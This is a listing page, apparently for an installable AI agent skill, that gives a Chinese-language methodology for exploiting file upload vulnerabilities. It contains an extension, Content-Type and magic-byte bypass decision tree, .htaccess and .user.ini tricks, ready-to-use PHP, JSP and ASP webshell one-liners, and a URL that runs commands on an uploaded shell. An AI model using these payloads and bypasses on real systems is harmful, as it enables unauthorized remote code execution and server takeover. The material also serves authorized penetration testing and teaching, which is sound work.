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file-upload-methodology

DevOps & Security
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任意文件上传的检测、绕过和利用。当目标有上传功能(头像、附件、导入)、multipart表单、文件管理接口时使用。包含扩展名/Content-Type/Magic Bytes三层绕过、.htaccess覆盖、.user.ini+auto_prepend_file、图片马二次渲染绕过、ZIP解压利用、上传路径猜解方法

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  2. Copy the prompt below and paste it into your agent.
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I want to install this Agent Skill for this project in Codex.

Source SKILL.md: https://github.com/wgpsec/AboutSecurity/blob/HEAD/skills/exploit/web-method/file-upload-methodology/SKILL.md

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First, summarize what it does, its dependencies, license status if identifiable, and any risks. Show the exact files you propose to add under .agents/skills/file-upload-methodology/. Do not write files or run scripts until I approve.

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Copying this prompt does not install or run the skill. Review third-party files before use. Codex skill guide

文件上传漏洞方法论

⛔ 深入参考（必读）

  • 需要扩展名/Content-Type/Magic Bytes 绕过详解、路径穿越、.htaccess 覆盖、.user.ini 利用、图片马二次渲染绕过、ZIP 解压利用 → references/upload-bypass.md

Phase 0: 上传功能发现与分析（最先执行！）

  1. 寻找 <form enctype="multipart/form-data"> 或 <input type="file">
  2. 常见端点：/upload, /api/upload, /avatar, /import
  3. 关键收集：允许的文件类型、上传后存储路径、服务器技术栈（PHP/Java/Python）

陷阱：前端 JS 验证可以直接绕过，真正的限制在后端。

Phase 1: 基础上传测试

  1. 先上传正常文件（.txt）确认功能正常，记录返回的文件路径
  2. 访问上传的文件 URL — 确认可访问
  3. 上传 .php 文件，观察是否被拒绝

路径猜解：/uploads/, /upload/, /files/, /static/uploads/, /images/

Phase 2: 绕过决策树

上传被拒绝？
├─ 扩展名限制（黑名单）→ .phtml/.php5/大小写/.php./双写 → [references/upload-bypass.md](references/upload-bypass.md)
├─ 扩展名限制（白名单）→ .htaccess 覆盖（Apache）或 .user.ini（通用）→ [references/upload-bypass.md](references/upload-bypass.md)
├─ Content-Type 限制 → 改为 image/jpeg
├─ 文件头检查 → GIF89a + webshell
├─ 二次渲染检查 → 图片马（GIF 优先）→ [references/upload-bypass.md](references/upload-bypass.md)
└─ 三层都限制 → 组合绕过：扩展名 + Content-Type + 文件头

Phase 3: Webshell Payload

PHP（最常见）：

<?php system($_GET['cmd']); ?>

精简版（绕过关键字）：<?=$_GET[1]?>

JSP: <%Runtime.getRuntime().exec(request.getParameter("cmd"));%> ASP: <%eval request("cmd")%>

上传后验证

http://target/uploads/shell.php?cmd=id

陷阱：访问 .php 返回源代码 → 该目录禁止执行，需要路径穿越或 .htaccess。

注意事项

  • 上传成功 ≠ 可利用：必须访问验证执行
  • 服务端可能 hash 重命名：从响应中获取新文件名
  • 记录每次尝试的扩展名和响应：快速排除无效绕过

.htaccess 攻击

  • 两步法：先上传 .htaccess 配置 PHP 解析规则，再上传 shell.jpg

上传≠执行

  • 上传成功不代表能利用（上传≠执行），需要确认文件可被访问和解析
  • 配合文件包含（LFI）等其他漏洞执行上传的 webshell